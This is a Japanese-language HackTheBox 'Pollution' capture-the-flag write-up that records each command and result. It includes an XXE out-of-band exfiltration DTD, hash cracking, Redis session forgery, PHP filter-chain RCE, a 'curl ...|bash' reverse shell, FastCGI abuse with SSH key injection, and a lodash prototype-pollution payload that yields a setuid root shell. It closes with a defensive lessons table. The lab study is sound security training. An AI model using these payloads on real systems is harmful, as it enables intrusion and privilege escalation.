HackTheBox: Pollution — 全実行コマンド・実行結果レポート
Nmap/ffuf
80/6379、3サブドメイン
→
80/6379、3サブドメイン
MyBB添付
Burp export→token
→
Burp export→token
collect.htb管理者昇格
/set/role/admin
→
/set/role/admin
XXE blind OOB
php://filter exfil
→
php://filter exfil
Redis直接セッション偽装
型混同バイパス
→
型混同バイパス
PHP filter chain
LFI2RCE (www-data)
→
LFI2RCE (www-data)
FastCGI直叩き
victor昇格+SSH鍵
→
victor昇格+SSH鍵
user.txt ✓
→
lodash prototype pollution
root NodeJS API
→
root NodeJS API
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -p22,80,443 -sCV --min-rate 2000 10.129.228.126
RESULT
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1
80/tcp open http Apache httpd 2.4.54
443/tcp closed https
Service Info: Host: collect.htb; OS: Linux
BASH (追加でredisも確認)
nmap -p22,80,6379 -sCV 10.129.228.126 # → 6379/tcp open redis key-value store (NOAUTH Authentication required)
ℹ️
nmapのhttp-titleスクリプトがHostヘッダから
collect.htbというドメインを示唆する。
/etc/hostsに登録。
サブドメイン探索
BASH
ffuf -u http://10.129.228.126 -H "Host: FUZZ.collect.htb" \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --mc all -ac
RESULT
forum [Status: 200] developers [Status: 401]
BASH
echo "10.129.228.126 collect.htb forum.collect.htb developers.collect.htb" | sudo tee -a /etc/hosts
ℹ️
3サイト構成:
collect.htb(メインサイト、要ログイン)、
forum.collect.htb(MyBBフォーラム)、
developers.collect.htb(Basic認証、401)。
PHASE 2
MyBBフォーラムから管理者昇格tokenを窃取
フォーラム登録 (agreement→registration 2段階)
NOTE
MyBBの新規登録は2段階: まず同意(agreement)画面をPOSTし、返ってくる 登録フォームのmy_post_key/question_id/regtimeを使って本登録をPOSTする。 隠しフィールド regcheck1(空)/regcheck2(="true") はスパムボット対策の ハニーポットで、省略すると "It has been detected that this form has been submitted by a spam bot" というエラーで静かに弾かれる(重要な罠)。 セキュリティ質問は "What does 2 + 2 equal?" 形式 — 正規表現で解いて回答。
BASH
curl -s -b jar.txt -c jar.txt "http://forum.collect.htb/member.php" \ --data-urlencode "action=register" --data-urlencode "step=agreement" \ --data-urlencode "agree=I Agree" # → my_post_key / question_id / regtime / "What does 2 + 2 equal?" を抽出 curl -s -b jar.txt -c jar.txt "http://forum.collect.htb/member.php" \ --data-urlencode "action=do_register" --data-urlencode "step=registration" \ --data-urlencode "regcheck1=" --data-urlencode "regcheck2=true" \ --data-urlencode "username=0xdfagent" --data-urlencode "password=P@ssw0rd123!" \ --data-urlencode "password2=P@ssw0rd123!" \ --data-urlencode "email=0xdfagent@example.com" --data-urlencode "email2=0xdfagent@example.com" \ --data-urlencode "answer=4" --data-urlencode "question_id=<抽出値>" \ --data-urlencode "regtime=<抽出値>" --data-urlencode "my_post_key=<抽出値>" \ --data-urlencode "agree=1"
RESULT
You have successfully been logged in.
(ログインは必ず新規cookie jarで — 登録に使ったセッションのまま
ログインするとmy_post_key検証に失敗することがある)
添付ファイル付きスレッドを発見してダウンロード
BASH
curl -s -b jar.txt "http://forum.collect.htb/forumdisplay.php?fid=2" # → tid=13 "I had problems with the Pollution API" に 📎 attachment あり curl -s -b jar.txt "http://forum.collect.htb/showthread.php?tid=13" # → attachment.php?aid=3 curl -s -b jar.txt "http://forum.collect.htb/attachment.php?aid=3" -o proxy_history.txt
RESULT
proxy_history.txt: XML 1.0 document (Burp Suite Proxy History エクスポート)
XMLをパースしてtokenを抽出
PYTHON
import xml.etree.ElementTree as ET
import base64
tree = ET.parse('proxy_history.txt')
for item in tree.getroot().findall('item'):
if 'set/role' in (item.find('url').text or ''):
req = item.find('request')
text = base64.b64decode(req.text).decode() if req.get('base64') == 'true' else req.text
print(text)
RESULT
POST /set/role/admin HTTP/1.1
Host: collect.htb
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Content-Type: application/x-www-form-urlencoded
token=ddac62a28254561001277727cb397baf
✅
権限昇格に使われたtokenを発見。セッション内容は関係なく
token値自体が検証対象と推測し、自分のセッションに
流用する方針を立てる。
collect.htbで管理者昇格
BASH
curl -s -b main_jar.txt -c main_jar.txt "http://collect.htb/register" \ --data-urlencode "username=0xdftest" --data-urlencode "password=P@ssw0rd123!" curl -s -b main_jar.txt -c main_jar.txt "http://collect.htb/login" \ --data-urlencode "username=0xdftest" --data-urlencode "password=P@ssw0rd123!" curl -s -b main_jar.txt -c main_jar.txt "http://collect.htb/set/role/admin" \ -d "token=ddac62a28254561001277727cb397baf" -i
RESULT
HTTP/1.1 302 Found
Location: /admin
✅
管理者権限取得成功。管理ページには「Register User in Pollution API」
というXML POSTフォームがある。
PHASE 3
XXE (blind, OOB) で Apache設定・.htpasswd・Redisパスワードを復元
XXE確認
NOTE
管理ページの登録フォームはバックグラウンドで manage_api パラメータに XML (<root><method>POST</method><uri>/auth/register</uri><user>...</user></root>) を送っている。XXEペイロードを混ぜて外部実体参照(SSRF)を試す。
BASH
curl -s -b main_jar.txt "http://collect.htb/api" --data-urlencode \ 'manage_api= %ext;]>' POST /auth/register t t
RESULT (攻撃者側リスナー)
10.129.228.126 - - "GET /xxe HTTP/1.1" 404
✅
Blind XXE確定。外部DTD経由でファイルをphp://filterでbase64エンコード
しOOB exfilするチェーンを構築する。
file exfil用DTDサーバーの実装
PYTHON (exfil_server.py、ポート80で待受)
dtd = ( '<!ENTITY %% file SYSTEM "php://filter/convert.base64-encode/resource=%s">\n' '<!ENTITY %% eval "<!ENTITY % exfil SYSTEM \'http://ATTACKER/?%%file;\'>">\n' '%%eval;\n%%exfil;\n' ) % target_file # /xxe.dtd?f=<path> でDTDを返し、続く exfil GET の querystring を # base64デコードしてファイル内容を得る
BASH
curl -s -b main_jar.txt "http://collect.htb/api" --data-urlencode \ 'manage_api= %ext;]>' POST /auth/register ...
RESULT (デコード済み)
ServerName developers.collect.htb DocumentRoot /var/www/developers <Directory "/var/www/developers"> AuthType Basic AuthName "Restricted Content" AuthUserFile /var/www/developers/.htpasswd Require valid-user </Directory>
.htpasswd を読取りクラック
BASH
# 同じXXE手法で /var/www/developers/.htpasswd を読取り echo 'developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1' > hash.txt hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt --user -O
RESULT
developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1:r0cket
developers.collect.htb Basic認証
developers_group : r0cket
bootstrap.php を読取りRedisパスワードを復元
BASH
# 同じXXE手法で /var/www/developers/bootstrap.php を読取り
RESULT
ini_set('session.save_handler', 'redis');
ini_set('session.save_path',
'tcp://localhost:6379/?auth=COLLECTR3D1SPASS');
session_start();
PHASE 4
Redisセッション直接書換えで認証バイパス → PHP filter chainでLFI2RCE
index.phpソース取得で認証ロジックを確認
NOTE
Basic認証後のdeveloper siteには独自セッション認証がもう一段あり、 index.phpはLFI ($_GET['page'].".php"をinclude) を抱えるが $_SESSION['auth'] != True でガードされている(XXEでソース取得して判明)。
RESULT (index.php 抜粋)
if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
die(header('Location: /login.php'));
}
...
<?php include($_GET['page'] . ".php"); ?>
🚨
!=(緩い比較)での型混同チェックのため、PHPシリアライズの
boolean true値さえセッションに入れられれば
文字列や数値など何であれ認証を通過できる。
Redisへ直接接続しセッションを書換え
BASH
# Basic認証のみでlogin.phpへアクセスしPHPSESSIDクッキーを発行させる curl -s -c dev_cookies.txt -u "developers_group:r0cket" \ http://developers.collect.htb/login.php # 自分のセッションIDをRedis内で直接 "認証成功" 状態に書換え redis-cli -h collect.htb -a 'COLLECTR3D1SPASS' --no-auth-warning \ SET "PHPREDIS_SESSION:<自分のPHPSESSID>" "auth|b:1;"
RESULT
OK
BASH (動作確認)
curl -s -b dev_cookies.txt -u "developers_group:r0cket" \ "http://developers.collect.htb/?page=home" # → "Pollution Api" ピン留めプロジェクトのあるダッシュボードが返る
✅
アプリのログインロジックを一切経由せず、Redisへの直接書込みだけで
developer dashboardへの認証バイパスに成功。
PHP filter chain で LFI2RCE
NOTE
synacktivのphp_filter_chain_generator.pyを使い、convert.iconv系フィルタを 数百段スタックして任意のPHPコードをphp://tempストリームの中身として 生成させるテクニック(ファイル書込み不要、既知ファイル名すら不要)。
BASH
python3 php_filter_chain_generator.py --chain '' # → php://filter/convert.iconv.UTF8.CSISO2022KR|...(数千文字).../resource=php://temp curl -s -b dev_cookies.txt -G -u "developers_group:r0cket" \ "http://developers.collect.htb/" \ --data-urlencode "page=<上記chain>" \ --data-urlencode "0=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功(www-data)。 生成したfilter chainは実際のPHP
インタプリタでデコード出力が元のコードと完全一致することを別途検証済み。
リバースシェル取得
BASH
# リスナー起動 nc -lnvp 4444 # 0= パラメータにリバースシェルコマンドを渡す curl -s -b dev_cookies.txt -G -u "developers_group:r0cket" \ "http://developers.collect.htb/" \ --data-urlencode "page=" \ --data-urlencode "0=curl 10.10.15.200/s|bash"
RESULT (ncリスナー側)
listening on [any] 4444 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.228.126] 49688 bash: cannot set terminal process group (969): Inappropriate ioctl for device bash: no job control in this shell www-data@pollution:~/developers$
PHASE 5
victor の php-fpm プールを FastCGI 直叩きし SSH 鍵注入 → user.txt
victor所有のphp-fpmプールを発見
BASH
www-data@pollution:~$ ps auxww | grep fpm
RESULT
root php-fpm: master process
victor php-fpm: pool victor
www-data php-fpm: pool www
BASH
www-data@pollution:~$ cat /etc/php/8.1/fpm/pool.d/www.conf | grep -v '^;' | grep .
RESULT
[victor]
user = victor
listen = 127.0.0.1:9000
cgi-fcgi でFastCGIを直叩きしPHPコード実行
NOTE
HackTricksのFastCGIペンテストスクリプトを応用。auto_prepend_fileに data://wrapperでPHPコードを渡し、既存の/var/www/developers/index.phpを SCRIPT_FILENAMEとして指定することでvictor権限のコード実行を得る。
BASH (ex.sh、Pollution上の /dev/shm に設置)
PAYLOAD="' . \"\n\";"
FILENAMES="/var/www/developers/index.php"
B64=$(echo "$PAYLOAD"|base64)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain;base64,$B64'" \
SCRIPT_FILENAME=$FILENAMES SCRIPT_NAME=$FILENAMES REQUEST_METHOD=POST \
cgi-fcgi -bind -connect localhost:9000
BASH
www-data@pollution:/dev/shm$ bash ex.sh id
RESULT
<!--uid=1002(victor) gid=1002(victor) groups=1002(victor)
-->
✅
victor権限での任意コマンド実行を確立。
SSH公開鍵を注入
NOTE
SSH公開鍵にはスペースが含まれるため、ex.shのPHPペイロードが
system("$1")と二重引用符でコマンドをラップしている関係上、鍵をそのまま
引数に渡すとPHP側で構文エラー(500)になる。コマンド全体をbase64で
ラップしてbashへデコード実行させることで引用符問題を回避する。
BASH
ssh-keygen -t ed25519 -f pollution_key -N "" CMD="mkdir -p /home/victor/.ssh; echo $(cat pollution_key.pub) >> \ /home/victor/.ssh/authorized_keys; chmod 700 /home/victor/.ssh; \ chmod 600 /home/victor/.ssh/authorized_keys; \ chown victor:victor /home/victor/.ssh /home/victor/.ssh/authorized_keys" echo "$CMD" | base64 -w0 > cmd.b64 # www-dataシェルから: echo| base64 -d > /dev/shm/sshsetup.sh bash ex.sh 'bash /dev/shm/sshsetup.sh'
SSH接続 & user.txt取得
BASH
ssh -i pollution_key victor@collect.htb "id; cat user.txt"
RESULT
uid=1002(victor) gid=1002(victor) groups=1002(victor)
0de449583b0c149947866c4bc6308b70
user.txt — victor@pollution
0de449583b0c149947866c4bc6308b70
PHASE 6
pollution_api (NodeJS, root稼働) の lodash prototype pollution → root.txt
root権限のNodeJS APIを発見
BASH
victor@pollution:~$ ls pollution_api controllers functions index.js log.sh models node_modules routes victor@pollution:~$ ps auxww | grep node
RESULT
root /usr/bin/node /root/pollution_api/index.js
ℹ️
victorのホームにソースコードのコピーがあり、Express appは
127.0.0.1:3000限定でroot権限稼働。SSHポートフォワード
(
-L 3000:localhost:3000)またはSSH経由curlで到達する。
ソース解析: /admin/messages/send の脆弱性
RESULT (controllers/Messages_send.js 抜粋)
const message = {
user_sent: token.user,
title: "Message for admins",
};
_.merge(message, req.body); // lodash merge、サニタイズなし
exec('/home/victor/pollution_api/log.sh log_message'); // ← この直後のexec呼出しが鍵
Message.create({ text: JSON.stringify(message), user_sent: token.user });
🚨
lodash.mergeはデフォルトで__proto__キーを
フィルタせずObject.prototype自体を汚染できる。
汚染直後にNode.jsのchild_process.execが呼ばれるため、
execの内部オプション(options.shell /
argv0 / NODE_OPTIONS)を
Object.prototype経由で上書きしてRCEに繋げられる
(HackTricksで知られるNode.js prototype pollution → RCEガジェット)。
管理者JWTの取得(一般ユーザー登録→MySQL直接role更新)
BASH
# 一般ユーザー登録・ログイン
curl -s -H 'Content-type: application/json' \
-d '{"username":"0xdfnode","password":"0xdfnode"}' localhost:3000/auth/register
curl -s -H 'Content-type: application/json' \
-d '{"username":"0xdfnode","password":"0xdfnode"}' localhost:3000/auth/login
# → role: "user" のJWT
# collect/developers/forum各サイトのconfig.phpに共通で埋め込まれた
# webapp_user MySQL資格情報でpollution_apiのusersテーブルを直接書換え
mysql -u webapp_user -p'Str0ngP4ssw0rdB*12@1' pollution_api \
-e "update users set role='admin' where username='0xdfnode';"
# 再ログインでadmin権限のJWTを取得
curl -s -H 'Content-type: application/json' \
-d '{"username":"0xdfnode","password":"0xdfnode"}' localhost:3000/auth/login
RESULT
{"Status":"Ok","Header":{"x-access-token":"eyJhbGc..."role":"admin"..."}}
prototype pollution ペイロード送信
PYTHON (JSONペイロード)
{
"text": "pwn",
"__proto__": {
"shell": "/proc/self/exe",
"argv0": "console.log(require('child_process').execSync('cp /bin/bash /tmp/0xdf && chmod 4755 /tmp/0xdf').toString())//",
"NODE_OPTIONS": "--require /proc/self/cmdline"
}
}
BASH
curl -s -H 'Content-type: application/json' \ -H "x-access-token: $ADMIN_TOKEN" \ -d @payload.json localhost:3000/admin/messages/send
RESULT
{"Status":"Ok"}
victor@pollution:~$ ls -la /tmp/0xdf
-rwsr-xr-x 1 root root 1234376 Nov 3 08:17 /tmp/0xdf
✅
汚染成功。 ハンドラ内の
exec('.../log.sh log_message')
呼出しが汚染されたshell/argv0/NODE_OPTIONSを
拾い、root権限でペイロードコマンドを実行。setuid root の bash コピーが
/tmp/0xdfに生成された。
root化 & root.txt取得
BASH
victor@pollution:~$ /tmp/0xdf -p -c 'id; cat /root/root.txt'
RESULT
uid=1002(victor) gid=1002(victor) euid=0(root) groups=1002(victor) 8026f09fae1dbbb8cd0395d3d59f79d0
root.txt — root@pollution (euid経由)
8026f09fae1dbbb8cd0395d3d59f79d0
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — victor@pollution
0de449583b0c149947866c4bc6308b70
root.txt — root@pollution
8026f09fae1dbbb8cd0395d3d59f79d0
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 情報漏洩 | MyBBフォーラム添付ファイル | 権限昇格tokenの窃取 | Medium | 誰でも登録・閲覧できるスレッドに実運用時のBurp Proxy Historyエクスポートが添付されたまま放置 |
| XXE | collect.htb /api (manage_api XMLパラメータ) |
任意ファイル読取り(blind OOB) | Critical | 外部DTD + php://filter base64エンコードでApache設定/.htpasswd/bootstrap.phpを窃取 |
| 緩い型比較バイパス | PHPセッション認証(!= True) |
認証バイパス | High | Redisに直接アクセスできる資格情報があれば、アプリのログインロジックを一切経由せずセッションを偽装できる |
| LFI2RCE (PHP filter chain) | developers.collect.htb index.php |
リモートコード実行 (www-data) | Critical | 既知ファイル・書込み不要でphp://filterスタックだけでコード実行可能な技法 |
| FastCGI直叩き | victor所有php-fpmプール(127.0.0.1:9000) | 権限昇格 (www-data→victor) | High | FastCGIソケットが別ユーザー権限で外部到達可能だとauto_prepend_fileでコード注入できる |
| Prototype Pollution | pollution_api (NodeJS/Express, lodash merge) | リモートコード実行 (root) | Critical | __proto__経由でObject.prototypeを汚染し、直後のchild_process.execの挙動を乗っ取る |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + ffuf vhostファジング | 80/6379、3サブドメイン |
| 2 | 権限昇格token窃取 | MyBB登録+添付Burpエクスポート解析 | token、collect.htb管理者権限 |
| 3 | XXE | blind OOB + php://filter base64 | Basic認証資格情報、Redisパスワード |
| 4 | 認証バイパス+RCE | Redisセッション偽装 + PHP filter chain | www-dataシェル |
| 5 | 横展開 | FastCGI直叩き + SSH鍵注入 | user.txt(victor) |
| 6 | 権限昇格 | NodeJS prototype pollution | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 社内フォーラムに実運用のBurpエクスポート(認証token含む)が誰でもダウンロードできる状態で放置 | 実運用のデバッグ情報・プロキシログを共有フォーラムに置かない。社内文書と秘密情報の分離を徹底する。 |
| 管理APIがXML入力を外部実体参照無効化なしでパース | libxml_disable_entity_loader(true)相当の設定、またはXML処理前にDOCTYPE宣言を除去する。 |
PHPセッション認証チェックに緩い比較(!=)を使用 |
常に!==(厳密比較)を使う。Redisなど外部ストアへのアクセス制御も多層防御として重要。 |
| LFI ($_GET値をそのままinclude) | 許可済みページ名のホワイトリスト方式に変更し、ユーザー入力をファイルパスに直接使わない。 |
| 別ユーザー権限のFastCGIソケットが同一ホストから到達可能 | php-fpmプールのlisten設定をUnixソケット+厳格なパーミッションにし、ネットワーク越しのFastCGI接続を禁止する。 |
| lodashのmerge()にユーザー入力をサニタイズなしで渡し、直後にchild_process.execを呼ぶ設計 | __proto__/constructor/prototypeキーを拒否するセーフなマージ関数を使う(最新lodashはCVE対応済みバージョンへ)。child_process呼出しの引数・オプションは常にホワイトリスト/固定値にする。 |

